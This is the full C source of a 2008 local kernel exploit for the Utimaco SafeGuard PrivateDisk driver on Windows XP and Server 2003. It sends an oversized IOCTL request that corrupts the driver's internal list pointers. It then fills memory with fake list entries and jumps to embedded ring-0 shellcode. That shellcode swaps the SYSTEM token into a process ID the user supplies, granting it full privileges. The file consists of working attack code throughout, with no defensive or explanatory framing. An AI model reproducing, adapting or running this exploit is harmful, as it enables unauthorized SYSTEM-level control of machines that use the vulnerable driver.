/* safeguard-pdisk-overflow-v2.c
 *
 * Copyright (c) 2008 by <mu-b@digit-labs.org>
 *
 * Utimaco Safeware AG - SafeGuard PrivateDisk local kernel SYSTEM exploit
 * by mu-b - Wed 05 Mar 2008
 *
 * - Tested on: privatediskm.sys 2.2.0.16
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <windows.h>
#include <ddk/ntapi.h>

#define SGPD_GET_VER_INFO_IOCTL   0x00072010

#define SGPD_LIST_OFFSET          421
#define TEB_START                 0x80000000
#define TEB_END                   0x83000000

static unsigned char win32_fixup[] =
  "\xb8\xbd\x23\x00\x00"
  "\xa3\x00\x04\x00\x00"
  "\xb8\x60\x5d\x00\x00"
  "\xa3\x60\x5d\x00\x00"
  "\xa3\x64\x5d\x00\x00";

/* Win2k3 SP1/2 - kernel EPROCESS token switcher
 * by mu-b <mu-b@digit-lab.org>
 */
static unsigned char win2k3_ring0_shell[] =
  /* _ring0 */
  "\xb8\x24\xf1\xdf\xff"
  "\x8b\x00"
  "\x8b\xb0\x18\x02\x00\x00"
  "\x89\xf0"
  /* _sys_eprocess_loop   */
  "\x8b\x98\x94\x00\x00\x00"
  "\x81\xfb\x04\x00\x00\x00"
  "\x74\x11"
  "\x8b\x80\x9c\x00\x00\x00"
  "\x2d\x98\x00\x00\x00"
  "\x39\xf0"
  "\x75\xe3"
  "\xeb\x21"
  /* _sys_eprocess_found  */
  "\x89\xc1"
  "\x89\xf0"

  /* _cmd_eprocess_loop   */
  "\x8b\x98\x94\x00\x00\x00"
  "\x81\xfb\x00\x00\x00\x00"
  "\x74\x10"
  "\x8b\x80\x9c\x00\x00\x00"
  "\x2d\x98\x00\x00\x00"
  "\x39\xf0"
  "\x75\xe3"
  /* _not_found           */
  "\xcc"
  /* _cmd_eprocess_found
   * _ring0_end           */

  /* copy tokens!$%!      */
  "\x8b\x89\xd8\x00\x00\x00"
  "\x89\x88\xd8\x00\x00\x00"
  "\x90";

static unsigned char winxp_ring0_shell[] =
  /* _ring0 */
  "\xb8\x24\xf1\xdf\xff"
  "\x8b\x00"
  "\x8b\x70\x44"
  "\x89\xf0"
  /* _sys_eprocess_loop   */
  "\x8b\x98\x84\x00\x00\x00"
  "\x81\xfb\x04\x00\x00\x00"
  "\x74\x11"
  "\x8b\x80\x8c\x00\x00\x00"
  "\x2d\x88\x00\x00\x00"
  "\x39\xf0"
  "\x75\xe3"
  "\xeb\x21"
  /* _sys_eprocess_found  */
  "\x89\xc1"
  "\x89\xf0"

  /* _cmd_eprocess_loop   */
  "\x8b\x98\x84\x00\x00\x00"
  "\x81\xfb\x00\x00\x00\x00"
  "\x74\x10"
  "\x8b\x80\x8c\x00\x00\x00"
  "\x2d\x88\x00\x00\x00"
  "\x39\xf0"
  "\x75\xe3"
  /* _not_found           */
  "\xcc"
  /* _cmd_eprocess_found
   * _ring0_end           */

  /* copy tokens!$%!      */
  "\x8b\x89\xc8\x00\x00\x00"
  "\x89\x88\xc8\x00\x00\x00"
  "\x90";

static unsigned char win32_ret[] =
  "\xc3"
  "\xcc";

struct ioctl_req {
  int  session_id;
  char volume_buf[0x1B7*2];
  char _pad[0x450 - (0x1B7*2) - 4];
};

struct log_list {
  struct pool_header {
    short pools[2];
    int pool_tag;
  } pool_hdr;

  struct log_list *next;
  struct log_list *prev;
  int thread_id;
  int used;
};

static PCHAR
fixup_ring0_shell (PVOID base, DWORD ppid, DWORD *zlen)
{
  DWORD dwVersion, dwMajorVersion, dwMinorVersion;

  dwVersion = GetVersion ();
  dwMajorVersion = (DWORD) (LOBYTE(LOWORD(dwVersion)));
  dwMinorVersion = (DWORD) (HIBYTE(LOWORD(dwVersion)));

  if (dwMajorVersion != 5)
    {
      fprintf (stderr, "* GetVersion, unsupported version\n");
      exit (EXIT_FAILURE);
    }

  *(PDWORD) &win32_fixup[1]  += (DWORD) base;
  *(PDWORD) &win32_fixup[6] += (DWORD) base;
  *(PDWORD) &win32_fixup[11] += (DWORD) base;
  *(PDWORD) &win32_fixup[16] += (DWORD) base;
  *(PDWORD) &win32_fixup[21] += (DWORD) base;

  switch (dwMinorVersion)
    {
      case 1:
        *zlen = sizeof winxp_ring0_shell - 1;
        *(PDWORD) &winxp_ring0_shell[55] = ppid;
        return (winxp_ring0_shell);

      case 2:
        *zlen = sizeof win2k3_ring0_shell - 1;
        *(PDWORD) &win2k3_ring0_shell[58] = ppid;
        return (win2k3_ring0_shell);

      default:
        fprintf (stderr, "* GetVersion, unsupported version\n");
        exit (EXIT_FAILURE);
    }

  return (NULL);
}

static PVOID
get_module_base (void)
{
  PSYSTEM_MODULE_INFORMATION_ENTRY pModuleBase;
  PSYSTEM_MODULE_INFORMATION pModuleInfo;
  DWORD i, num_modules, status, rlen;
  PVOID result;

  status = NtQuerySystemInformation (SystemModuleInformation, NULL, 0, &rlen);
  if (status != STATUS_INFO_LENGTH_MISMATCH)
    {
      fprintf (stderr, "* NtQuerySystemInformation failed, 0x%08X\n", status);
      exit (EXIT_FAILURE);
    }

  pModuleInfo = (PSYSTEM_MODULE_INFORMATION) HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, rlen);

  status = NtQuerySystemInformation (SystemModuleInformation, pModuleInfo, rlen, &rlen);
  if (status != STATUS_SUCCESS)
    {
      fprintf (stderr, "* NtQuerySystemInformation failed, 0x%08X\n", status);
      exit (EXIT_FAILURE);
    }

  num_modules = pModuleInfo->Count;
  pModuleBase = &pModuleInfo->Module[0];
  result = NULL;

  for (i = 0; i < num_modules; i++, pModuleBase++)
    if (strstr (pModuleBase->ImageName, "PrivateDiskM.sys"))
      {
        result = pModuleBase->Base;
        break;
      }

  HeapFree (GetProcessHeap (), HEAP_NO_SERIALIZE, pModuleInfo);

  return (result);
}

int
main (int argc, char **argv)
{
  struct ioctl_req req;
  struct log_list *list, *flist;
  DWORD i, j, nlists, ppid, rlen, thread_id, size, zlen;
  LPVOID base, lpage, zbuf, zpage;
  CHAR buf[1024];
  HANDLE hFile;
  BOOL result;

  printf ("Utimaco Safeware AG - SafeGuard PrivateDisk local kernel SYSTEM exploit\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  if (argc <= 1)
    {
      fprintf (stderr, "Usage: %s <processid to elevate>\n", argv[0]);
      exit (EXIT_SUCCESS);
    }

  ppid = atoi (argv[1]);

  hFile = CreateFileA ("\\\\.\\PrivateDisk", GENERIC_READ,
                       FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
                       OPEN_EXISTING, 0, NULL);
  if (hFile == INVALID_HANDLE_VALUE)
    {
      fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
      exit (EXIT_FAILURE);
    }

  nlists = ((TEB_END - TEB_START) * 2) / 8;
  size  = nlists * sizeof (struct log_list);
  size += 0x1010;

  lpage = VirtualAlloc ((LPVOID) 0x40100000, size,
                        MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  if (lpage == NULL)
    {
      fprintf (stderr, "* VirtualAlloc failed\n");
      exit (EXIT_FAILURE);
    }
  printf ("* allocated list page: 0x%08X [%d-bytes]\n",
          lpage, size);

  zpage = VirtualAlloc (NULL, 0x1000, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  if (zpage == NULL)
    {
      fprintf (stderr, "* VirtualAlloc failed\n");
      exit (EXIT_FAILURE);
    }
  printf ("* allocated page: 0x%08X [%d-bytes]\n",
          zpage, 0x1000);

  base = get_module_base ();
  if (base == NULL)
    {
      fprintf (stderr, "* unable to find PrivateDiskM.sys base\n");
      exit (EXIT_FAILURE);
    }
  printf ("* PrivateDiskM.sys base: 0x%08X\n", base);

  memset (lpage, 0xCC, size);
  list = lpage + 0x1010;
  flist = lpage + 0x1010 + 8;

  printf ("* filling page: 0x%08X, %d list-items, base: @0x%08X.. ",
          lpage, nlists, list);
  for (i = 0, thread_id = TEB_START;
       i < nlists / 2; i++, thread_id += 8)
    {
      struct log_list *cur;

      cur = &list[i];
      memset (cur, 0, sizeof *cur);
      cur->pool_hdr.pools[0] = 0;
      cur->pool_hdr.pools[1] = (0x22 << 9) | (0x08 << 8);
      cur->pool_hdr.pool_tag = 0;
      cur->next = (struct log_list *) &list[i + 1].next;
      cur->prev = i == 0 ? base + 0x00005D60
                         : &list[i - 1].next;
      cur->thread_id = thread_id;
      cur->used = 0;
    }

  for (i = i, thread_id = TEB_START;
       i < nlists; i++, thread_id += 8)
    {
      struct log_list *cur;

      cur = &list[i];
      memset (cur, 0, sizeof *cur);
      cur->pool_hdr.pools[0] = 0;
      cur->pool_hdr.pools[1] = (0x22 << 9) | (0x08 << 8);
      cur->pool_hdr.pool_tag = 0;
      cur->next = i < nlists - 1 ? (struct log_list *) &list[i + 1].next
                                 : base + 0x00005D60;
      cur->prev = base + 0x00000400;
      cur->thread_id = thread_id;
      cur->used = 0;
  }
  printf ("done\n");

  memset (&req, 0, sizeof req);
  memset (buf, 0x41, sizeof buf);
  *(struct log_list **) &buf[SGPD_LIST_OFFSET]   = flist;
  *(struct log_list **) &buf[SGPD_LIST_OFFSET+4] = flist;

  for (i = 0, j = 0; i < sizeof req.volume_buf - 4; i += 2, j++)
    {
      req.volume_buf[i] = buf[j];
      req.volume_buf[i+1] = 0x00;
    }

  printf ("* overwriting @0x%08X.. ", base + 0x00000400);
  fflush (stdout);

  result = DeviceIoControl (hFile, SGPD_GET_VER_INFO_IOCTL,
                            &req, sizeof req,
                            &req, sizeof req, &rlen, 0);
  if (!result)
    {
      fprintf (stderr, "* DeviceIoControl failed, 0x%08X\n", GetLastError ());
    }
  printf ("done\n");

  printf ("* rewriting jump page @0x%08X.. ", list);
  memset (lpage, 0xCC, size);

  for (i = 0; i < nlists; i++)
    {
      char *cur = (char *) &list[i].next;
      cur[0] = '\xb8';
      memcpy (&cur[1], &zpage, sizeof zpage);
      cur[5] = '\xff';
      cur[6] = '\xe0';
  }
  printf ("done\n");

  memset (zpage, 0xCC, 0x1000);
  zbuf = fixup_ring0_shell (base, ppid, &zlen);
  memcpy ((LPVOID) zpage, win32_fixup, sizeof (win32_fixup) - 1);
  memcpy ((LPVOID) (zpage + sizeof (win32_fixup) - 1), zbuf, zlen);
  memcpy ((LPVOID) (zpage + sizeof (win32_fixup) + zlen - 1),
          win32_ret, sizeof (win32_ret) - 1);

  printf ("* jumping.. ");
  fflush (stdout);

  result = DeviceIoControl (hFile, SGPD_GET_VER_INFO_IOCTL,
                            &req, sizeof req,
                            &req, sizeof req, &rlen, 0);
  if (!result)
    {
      fprintf (stderr, "* DeviceIoControl failed, 0x%08X\n", GetLastError ());
    }

  printf ("done\n\n"
          "* hmmm, you didn't STOP the box?!?! rlen: 0x%08X\n", rlen);

  CloseHandle (hFile);

  return (EXIT_SUCCESS);
}